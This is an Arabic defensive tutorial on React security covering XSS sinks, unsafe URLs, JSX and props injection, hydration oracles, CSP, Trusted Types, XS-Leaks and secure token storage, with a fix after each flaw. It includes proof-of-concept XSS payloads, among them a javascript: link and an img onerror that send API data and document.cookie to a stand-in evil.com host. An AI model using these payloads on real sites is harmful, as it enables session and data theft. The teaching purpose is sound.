الفرق الحمراء — الهجومخبير90mL69

أمن React — XSS و Hydration و الـ Refs

dangerouslySetInnerHTML، JSX injection، URL handlers، XS-Leaks

#React#XSS#Hydration#DOM#CSP

React XSS-by-default? — أو لا؟

React يهرب النصوص في JSX تلقائياً، لذا {userInput} آمن. هذه الإشاعة تُنسي المطوّرين أن React يفتح فجوات أخرى: dangerouslySetInnerHTML، URL handlers (href, src)، الـ refs، الـ event handlers الديناميكية، JSX injection عبر React.createElement.

تشبيه — شرح مبسط
كباب أمان مزدوج. الإطار يحميك من نسيان قفله، لكن لو فتحته يدوياً (dangerouslySetInnerHTML) فأنت لوحدك. كثيرون يفتحون الباب لأن "الإطار آمن دائماً".
تذكير
الأمثلة لتعليم استغلال DOM/XSS في تطبيقاتك. لا تطبّقها على مواقع لا تملكها.

dangerouslySetInnerHTML — الباب الكبير

jsx
// خطر — markdown-to-HTML بدون sanitize
function Comment({ markdown }) {
  const html = markdownToHtml(markdown);
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// PoC في markdown
[click me](javascript:fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://evil.com',{method:'POST',body:JSON.stringify(d)})))

// أو HTML inline
<img src=x onerror="document.location='https://evil.com/?c='+document.cookie">

// الإصلاح — DOMPurify دائماً
import DOMPurify from 'isomorphic-dompurify';
const safe = DOMPurify.sanitize(html, {
  ALLOWED_TAGS: ['p','br','b','i','em','strong','a','ul','ol','li','code','pre'],
  ALLOWED_ATTR: ['href','title'],
  ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
});
return <div dangerouslySetInnerHTML={{ __html: safe }} />;

URL Injection — href/src في React

jsx
// خطر — link مفتوح
<a href={userUrl}>click</a>

// PoC
userUrl = "javascript:alert(1)"
userUrl = "data:text/html,<script>alert(1)</script>"

// الإصلاح — فحص protocol
function safeUrl(u) {
  try {
    const parsed = new URL(u, location.origin);
    if (!['http:','https:','mailto:'].includes(parsed.protocol)) return '#';
    return parsed.toString();
  } catch { return '#'; }
}

<a href={safeUrl(userUrl)} rel="noopener noreferrer" target="_blank">click</a>
// + rel="noopener" دائماً مع target="_blank"
// لمنع window.opener tabnabbing

JSX Injection — حالات نادرة لكن حقيقية

jsx
// خطر — element type ديناميكي
function Dynamic({ tag, children }) {
  const Tag = tag;
  return <Tag>{children}</Tag>;
}

<Dynamic tag={userTag}>x</Dynamic>
// لو tag = "iframe" مع children فيها src → embedded iframe

// أخطر — props spread من user
<Component {...userProps} />
// userProps = {dangerouslySetInnerHTML: {__html: '<img src=x onerror=...>'}}

// الإصلاح — allowlist للـ tags + لا تنشر user props مباشرة
const ALLOWED_TAGS = ['p','span','div','section','article'];
const Tag = ALLOWED_TAGS.includes(userTag) ? userTag : 'span';

Refs و DOM escapes

أحياناً تحتاج DOM API مباشرة. كل استخدام لـ .innerHTML أو document.write أو eval داخل useEffect يفقد حماية React.

jsx
// خطر
function Editor({ html }) {
  const ref = useRef(null);
  useEffect(() => {
    if (ref.current) ref.current.innerHTML = html;   // XSS
  }, [html]);
  return <div ref={ref} />;
}

// آمن — DOMPurify أو textContent
useEffect(() => {
  if (ref.current) ref.current.innerHTML = DOMPurify.sanitize(html);
}, [html]);

// أو لـ النص فقط
ref.current.textContent = userText;   // آمن

Hydration Mismatch كـ Oracle

SSR + CSR mismatch ينتج تحذيراً، لكنه يكشف هل القيمة موجودة على الخادم؟. مهاجم يستخدم هذا كـ CSRF-like oracle.

jsx
// مثال: AB test مرتبط بـ user
function Hero() {
  const variant = useABTest();   // يستخدم cookie
  return <div data-variant={variant}>{variant === 'A' ? 'Hi A' : 'Hi B'}</div>;
}

// مهاجم يضع iframe لـ /, ثم يقرأ console errors عبر postMessage abuse
// أو يُولّد differences في DOM يقرأها

// الإصلاح — لا تُنشئ DOM مختلف بناءً على per-user data في SSR
// استخدم useEffect للتحديث post-hydration:
const [variant, setVariant] = useState('A');
useEffect(() => setVariant(getVariant()), []);

State Management — Redux / Zustand pitfalls

  • Storing tokens في localStorage — أي XSS = سرقة فورية. استخدم httpOnly cookies.
  • Persisted state (redux-persist) — افحص محتوى المستعاد. مهاجم بـ XSS يكتب state خبيث ثم يبقى.
  • Reducer trust — Reducer يفترض actions موثوقة. لو هناك middleware يقبل actions من user input (rare), prototype pollution ممكن.
  • Devtools في production — Redux DevTools يجب أن يكون process.env.NODE_ENV === 'development' فقط.

CSP و Trusted Types — التحصين الحقيقي

حتى لو نسيت DOMPurify مرة، CSP صحيح يقتل XSS قبل أن ينطلق.

text
# Strict CSP for React
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{rand}' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';        ← React inline styles
  img-src 'self' data: https:;
  connect-src 'self' https://api.target.gov;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  require-trusted-types-for 'script';
  trusted-types default;
javascript
// Trusted Types — Chrome، Edge
// يمنع innerHTML = string؛ يقبل فقط TrustedHTML

if (window.trustedTypes) {
  const policy = trustedTypes.createPolicy('default', {
    createHTML: (s) => DOMPurify.sanitize(s, { RETURN_TRUSTED_TYPE: true }),
  });
  el.innerHTML = policy.createHTML(dangerous);
}

// React 18+ يدعم Trusted Types؛ تأكد أن مكتباتك (markdown, charting) تدعمها
// عبر setting compatible policy

Supply chain — npm + CDN risks

  • compromised dependencies — نفس قصة Node. حدّث react, react-dom, مكتباتك.
  • CDN scripts (analytics, A/B) — بدون integrity SRI تكسر AppSec كاملة.
  • Browser extension supply chain — لا تثق بأي شيء على client.
html
<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"></script>

XS-Leaks — تسريبات عبر الحدود

حتى مع SOP و CSP، browser side-channels تكشف معلومات. مهاجم في موقع آخر يُحمّل تطبيقك في iframe / window و يقيس:

  • Frame counting — كم iframe لـ target.com/profile؟ يكشف عدد الـ widgets per state.
  • Window.length — قبل/بعد login.
  • Cache timing — هل المورد cached؟ → user logged in.
  • postMessage leaks — listener على "*".
  • Navigation timing — كم استغرق تحميل /admin؟ → admin أم لا.
الدفاع
  • Cross-Origin-Opener-Policy: same-origin
  • Cross-Origin-Embedder-Policy: require-corp
  • Cross-Origin-Resource-Policy: same-site
  • X-Frame-Options: DENY (أو CSP frame-ancestors).
  • postMessage: قارن event.origin بقائمة صريحة.
  • SameSite=strict cookies تمنع كثيراً من تقاطع المواقع.

React-specific CVE highlights

  • CVE-2018-6341 (react-dom) — XSS عبر attributes في server renderer قديم.
  • react-router CVE متعدد — open redirect عبر basename.
  • next/router historical — open redirect.
  • Material-UI / antd / chakra — sanitization مفقود في tooltip/popover history.
  • react-markdown — في الإصدارات القديمة قبل v6 كان يستخدم raw HTML افتراضياً. v6+ آمن لكن لا يزال يحتاج config صحيح.

Authentication patterns — أين تخفق React apps

jsx
// خطأ شائع — token في localStorage
localStorage.setItem('token', jwt);
fetch('/api', { headers: { Authorization: 'Bearer ' + jwt } });

// أي XSS = سرقة token → session takeover

// الأفضل — httpOnly cookie + CSRF token
// خادم: Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
// client: لا يلمس الكوكي
fetch('/api', { credentials: 'include', headers: { 'X-CSRF-Token': csrfToken } });

// لـ SPA + token-based — استخدم BFF (Backend for Frontend) pattern
// Cookie ↔ BFF ↔ Auth Server (token تبقى على الـ BFF)

ممارسات مراجعة كود React

  1. ابحث عن dangerouslySetInnerHTML — كل instance يحتاج justification + DOMPurify.
  2. ابحث عن .innerHTML، document.write، eval، new Function.
  3. افحص كل href ديناميكي — هل يفلتر javascript:؟
  4. افحص كل target="_blank" — هل يحوي rel="noopener"؟
  5. افحص كل postMessage — هل يفحص origin؟
  6. افحص localStorage — أي tokens / PII؟ يجب أن لا يكون.
  7. افحص env leaks — REACT_APP_ / VITE_ تظهر في bundle.
  8. افحص الـ redirects — هل يمنع //evil.com؟
أدوات
ESLint + eslint-plugin-react, eslint-plugin-jsx-a11y, eslint-plugin-security. Semgrep p/react. Dependabot. Snyk.